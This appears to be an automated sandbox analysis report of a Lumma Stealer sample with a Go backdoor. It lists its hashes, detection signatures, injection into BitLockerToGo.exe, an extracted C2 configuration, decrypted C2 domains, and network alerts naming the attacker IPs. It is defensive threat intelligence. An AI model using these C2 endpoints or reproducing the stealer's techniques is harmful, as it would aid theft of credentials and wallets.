Edit tour

Windows Analysis Report
Set-up.exe

Overview

General Information

Sample name:	Set-up.exe
Analysis ID:	1582560
MD5:	d6ab8da3bd0065c5f9ef7e4c1524c853
SHA1:	a7e0f197fcbba885ef9cf61bf0694be269b50ac5
SHA256:	3ed1b57fd5efa3d95f88a8e06e06337253f4427aac41accc2f2fe334ea7fdcc9
Tags:	exeLummaStealeruser-aachum
Infos:

Detection

LummaC, GO Backdoor, LummaC Stealer

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected GO Backdoor

Yara detected LummaC Stealer

AI detected suspicious sample

Allocates memory in foreign processes

C2 URLs / IPs found in malware configuration

Found Tor onion address

Found many strings related to Crypto-Wallets (likely being stolen)

Injects a PE file into a foreign processes

LummaC encrypted strings found

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Crypto Currency Wallets

Uses known network protocols on non-standard ports

Writes to foreign memory regions

AV process strings found (often used to terminate AV products)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to call native functions

Contains functionality to query CPU information (cpuid)

Contains functionality to read the clipboard data

Contains functionality to record screenshots

Creates a process in suspended mode (likely to inject code)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Found inlined nop instructions (likely shell or obfuscated code)

Found potential string decryption / allocating functions

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Searches for user specific document files

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

Set-up.exe (PID: 5800 cmdline: "C:\Users\user\Desktop\Set-up.exe" MD5: D6AB8DA3BD0065C5F9EF7E4C1524C853)

BitLockerToGo.exe (PID: 7020 cmdline: "C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe" MD5: A64BEAB5D4516BECA4C40B25DC0C1CD8)

BitLockerToGo.exe (PID: 5040 cmdline: "C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe" MD5: A64BEAB5D4516BECA4C40B25DC0C1CD8)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Malware Configuration

Threatname: LummaC

{"C2 url": "https://mooncobudy.click/api", "Build Version": "Jwquln--2912YT"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000005.00000002.2917453173.000000000BD42000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_GOBackdoor	Yara detected GO Backdoor	Joe Security
00000005.00000002.2917453173.000000000BD2E000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_GOBackdoor	Yara detected GO Backdoor	Joe Security
00000003.00000003.2017321286.0000000002FE0000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: BitLockerToGo.exe PID: 7020	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: BitLockerToGo.exe PID: 7020	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: BitLockerToGo.exe PID: 7020	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Process Memory Space: BitLockerToGo.exe PID: 7020	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: BitLockerToGo.exe PID: 5040	JoeSecurity_GOBackdoor	Yara detected GO Backdoor	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Click to see the 4 entries

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-30T21:42:26.858558+0100	2028371	3	Unknown Traffic	192.168.2.4	49736	188.114.97.3	443	TCP
2024-12-30T21:42:28.244249+0100	2028371	3	Unknown Traffic	192.168.2.4	49737	188.114.97.3	443	TCP
2024-12-30T21:42:30.039239+0100	2028371	3	Unknown Traffic	192.168.2.4	49738	188.114.97.3	443	TCP
2024-12-30T21:42:31.495200+0100	2028371	3	Unknown Traffic	192.168.2.4	49739	188.114.97.3	443	TCP
2024-12-30T21:42:32.894993+0100	2028371	3	Unknown Traffic	192.168.2.4	49740	188.114.97.3	443	TCP
2024-12-30T21:42:34.450793+0100	2028371	3	Unknown Traffic	192.168.2.4	49741	188.114.97.3	443	TCP
2024-12-30T21:42:35.897770+0100	2028371	3	Unknown Traffic	192.168.2.4	49742	188.114.97.3	443	TCP
2024-12-30T21:42:38.696867+0100	2028371	3	Unknown Traffic	192.168.2.4	49743	188.114.97.3	443	TCP
2024-12-30T21:42:39.698349+0100	2028371	3	Unknown Traffic	192.168.2.4	49744	84.32.84.20	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-30T21:42:27.760183+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49736	188.114.97.3	443	TCP
2024-12-30T21:42:28.715895+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49737	188.114.97.3	443	TCP
2024-12-30T21:42:39.166062+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49743	188.114.97.3	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-30T21:42:27.760183+0100	2049836	1	A Network Trojan was detected	192.168.2.4	49736	188.114.97.3	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-30T21:42:28.715895+0100	2049812	1	A Network Trojan was detected	192.168.2.4	49737	188.114.97.3	443	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-30T21:42:34.893784+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.4	49741	188.114.97.3	443	TCP

ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-30T21:42:35.902058+0100	2843864	1	A Network Trojan was detected	192.168.2.4	49742	188.114.97.3	443	TCP

ETPRO MALWARE Unknown Golang Backdoor Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-30T21:43:14.785322+0100	2855478	1	A Network Trojan was detected	192.168.2.4	49848	46.8.232.106	30001	TCP

ETPRO MALWARE Unknown Golang Backdoor CnC Client Request M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-30T21:43:15.442544+0100	2855536	1	A Network Trojan was detected	192.168.2.4	49854	195.200.31.22	21428	TCP

ETPRO MALWARE Unknown Golang Backdoor CnC Client Request M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-30T21:43:44.909174+0100	2855537	1	A Network Trojan was detected	192.168.2.4	49854	195.200.31.22	21428	TCP

ETPRO MALWARE Unknown Golang Backdoor CnC Server Response M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-30T21:43:45.233031+0100	2855538	1	A Network Trojan was detected	195.200.31.22	21428	192.168.2.4	49854	TCP

ETPRO MALWARE Unknown Golang Backdoor CnC Server Response M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-30T21:43:15.442293+0100	2855539	1	A Network Trojan was detected	195.200.31.22	21428	192.168.2.4	49854	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: 00000003.00000003.2059888073.0000000003001000.00000004.00000020.00020000.00000000.sdmp

Malware Configuration Extractor: LummaC {"C2 url": "https://mooncobudy.click/api", "Build Version": "Jwquln--2912YT"}

Multi AV Scanner detection for submitted file

Source: Set-up.exe

ReversingLabs: Detection: 50%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Sample uses string decryption to hide its real strings

Source: 00000003.00000002.2414248167.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: cloudewahsj.shop
Source: 00000003.00000002.2414248167.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: rabidcowse.shop
Source: 00000003.00000002.2414248167.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: noisycuttej.shop
Source: 00000003.00000002.2414248167.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: tirepublicerj.shop
Source: 00000003.00000002.2414248167.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: framekgirus.shop
Source: 00000003.00000002.2414248167.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: wholersorie.shop
Source: 00000003.00000002.2414248167.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: abruptyopsn.shop
Source: 00000003.00000002.2414248167.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: nearycrepso.shop
Source: 00000003.00000002.2414248167.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: mooncobudy.click
Source: 00000003.00000002.2414248167.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 00000003.00000002.2414248167.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: TeslaBrowser/5.5
Source: 00000003.00000002.2414248167.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: - Screen Resoluton:
Source: 00000003.00000002.2414248167.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: - Physical Installed Memory:
Source: 00000003.00000002.2414248167.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: Workgroup: -
Source: 00000003.00000002.2414248167.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: Jwquln--2912YT

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Code function: 3_2_00419362 CryptUnprotectData,

3_2_00419362

Source: Set-up.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE, DEBUG_STRIPPED

Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49739 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49740 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49741 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49742 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49743 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49743 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 84.32.84.20:443 -> 192.168.2.4:49744 version: TLS 1.2

Source: Set-up.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source:	Binary string: BitLockerToGo.pdb source: Set-up.exe, 00000000.00000002.1949249504.00000000124F8000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: BitLockerToGo.pdbGCTL source: Set-up.exe, 00000000.00000002.1949249504.00000000124F8000.00000004.00001000.00020000.00000000.sdmp

Source: C:\Users\user\Desktop\Set-up.exe	Code function: 4x nop then mov ebp, ebx	0_2_00D66C20
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 4x nop then mov ecx, eax	0_2_00D67F00
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax+217F4C11h]	3_2_00426000
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then jmp ecx	3_2_004229CD
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov word ptr [eax], cx	3_2_004229CD
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx ebx, byte ptr [eax+edx-143BF0FEh]	3_2_0040C22D
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov dword ptr [esp], ecx	3_2_00419362
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then cmp dword ptr [edx+ecx*8], 9164D103h	3_2_0043FB80
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov byte ptr [eax], dl	3_2_0042238D
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then jmp ecx	3_2_0042238D
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx esi, byte ptr [esp+edx+2397B827h]	3_2_0043DCE9
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then cmp dword ptr [edi+esi*8], 385488F2h	3_2_0043DCE9
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then cmp dword ptr [ebp+esi*8+00h], 56ADC53Ah	3_2_00440480
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov esi, edx	3_2_00408640
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov byte ptr [edi], al	3_2_0042BE8A
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx eax, byte ptr [esp+ecx-1EBCBB22h]	3_2_0042BE8A
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then cmp byte ptr [esi+eax], 00000000h	3_2_0042A050
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax+129161F8h]	3_2_0043E051
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx edx, byte ptr [ebx+eax-01h]	3_2_0043E850
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then jmp ecx	3_2_0043D818
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], 798ECF08h	3_2_00419820
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then cmp dword ptr [edi+esi*8], 385488F2h	3_2_00419820
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov eax, dword ptr [ebp+10h]	3_2_0043F830
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov eax, dword ptr [ebp+10h]	3_2_0043F0CB
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov byte ptr [edi], dl	3_2_0042C0CD
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax+18h]	3_2_00415882
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], 138629C0h	3_2_00415882
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then cmp dword ptr [edi+ebp*8], 385488F2h	3_2_004398A0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then cmp dword ptr [ebx+edi*8], 4B1BF3DAh	3_2_004390A0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov byte ptr [edi], dl	3_2_0042C140
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then cmp dword ptr [eax+ebx*8], 9EB5184Bh	3_2_00416148
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx esi, byte ptr [esp+ecx+68h]	3_2_00416148
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov byte ptr [esi], al	3_2_00416148
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov byte ptr [esi], al	3_2_00416148
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov word ptr [edi], cx	3_2_0042895A
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov ecx, eax	3_2_0042895A
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx esi, word ptr [eax]	3_2_00424974
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then cmp dword ptr [ebx+edi*8], 385488F2h	3_2_00424974
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov word ptr [eax], cx	3_2_00428100
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then cmp dword ptr [edx+ecx*8], E81D91D4h	3_2_00440130
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then cmp dword ptr [edi+esi*8], 385488F2h	3_2_0043E19A
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov byte ptr [edi], dl	3_2_0042C1A3
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax-27C0856Fh]	3_2_0043C1B0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx esi, byte ptr [esp+eax-00000092h]	3_2_00426360
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov word ptr [eax], cx	3_2_00426360
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov eax, dword ptr [ebp+10h]	3_2_0043F1B0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov word ptr [edi], ax	3_2_0041CA60
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov word ptr [edi], ax	3_2_0041CA60
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx-19559D57h]	3_2_0043E262
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax+000011E4h]	3_2_00423A60
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov byte ptr [edi], al	3_2_0042C26C
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx eax, byte ptr [esp+ecx-1EBCBB22h]	3_2_0042C26C
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov byte ptr [esi], al	3_2_0042BA79
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov eax, dword ptr [ebp+10h]	3_2_0043F2F6
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov byte ptr [edi], al	3_2_0042C282
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx eax, byte ptr [esp+ecx-1EBCBB22h]	3_2_0042C282
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx-22E2F54Ah]	3_2_0043EA80
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov ebx, dword ptr [edi+04h]	3_2_00429A90
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov word ptr [eax], cx	3_2_00426340
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx+217F4C99h]	3_2_00426340
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx edi, byte ptr [ecx+esi]	3_2_00402B60
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx esi, byte ptr [esp+eax-00000092h]	3_2_00426360
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov word ptr [eax], cx	3_2_00426360
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov eax, dword ptr [ebp+10h]	3_2_0043F330
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then add eax, dword ptr [esp+ecx*4+20h]	3_2_004073C0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx ecx, word ptr [ebp+edi*4+00h]	3_2_004073C0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov eax, dword ptr [ebp+10h]	3_2_0043F3C0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx edx, byte ptr [ebx+ecx-5Fh]	3_2_0041C3CC
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then push esi	3_2_00420BD3
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then test eax, eax	3_2_004393D0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov edx, eax	3_2_0043C440
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov eax, dword ptr [ebp+10h]	3_2_0043F450
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx ebx, byte ptr [esp+edi-4Bh]	3_2_00439C70
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx ebx, byte ptr [edx]	3_2_00435410
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx esi, byte ptr [esp+ecx+02h]	3_2_00421C80
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx ebx, byte ptr [esp+ecx+5BA4F399h]	3_2_00416C90
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then cmp byte ptr [esi+eax], 00000000h	3_2_004274A5
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx eax, byte ptr [ebp+ecx-000000DCh]	3_2_00427CB0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov word ptr [eax], cx	3_2_00427CB0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov esi, ecx	3_2_0043C510
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then test eax, eax	3_2_0043C510
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], 06702B10h	3_2_0043C510
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx ebx, byte ptr [esp+eax+5024FCA5h]	3_2_00414DC0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx ebx, byte ptr [esp+ecx+5BA4F399h]	3_2_00416C90
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax+18h]	3_2_004155DB
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov ecx, eax	3_2_0041AD80
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then cmp dword ptr [edx+ecx*8], 2DFE5A91h	3_2_0043FE20
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov word ptr [ecx], bp	3_2_0041CECA
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx ebx, byte ptr [esp+ecx]	3_2_0043E6E0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx ebx, byte ptr [esp+ecx+000000C8h]	3_2_0040C6F0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov byte ptr [edi], bl	3_2_00408EF0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov byte ptr [ebp+00h], al	3_2_0041DE90
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov word ptr [ebx], cx	3_2_00418740
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov word ptr [edi], dx	3_2_00414777
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov byte ptr [esi], al	3_2_0041BFCA
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx+20h]	3_2_004237D0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax+5F376B7Fh]	3_2_00417FE1
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx edi, byte ptr [esp+eax+000002E8h]	3_2_00417FE1
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov byte ptr [esi], al	3_2_00416F8D
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov edx, ecx	3_2_00416F8D
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov word ptr [esi], cx	3_2_00416F8D
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov eax, dword ptr [esp+20h]	3_2_00424F91
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then cmp dword ptr [ebx+edi*8], 385488F2h	3_2_00424F91
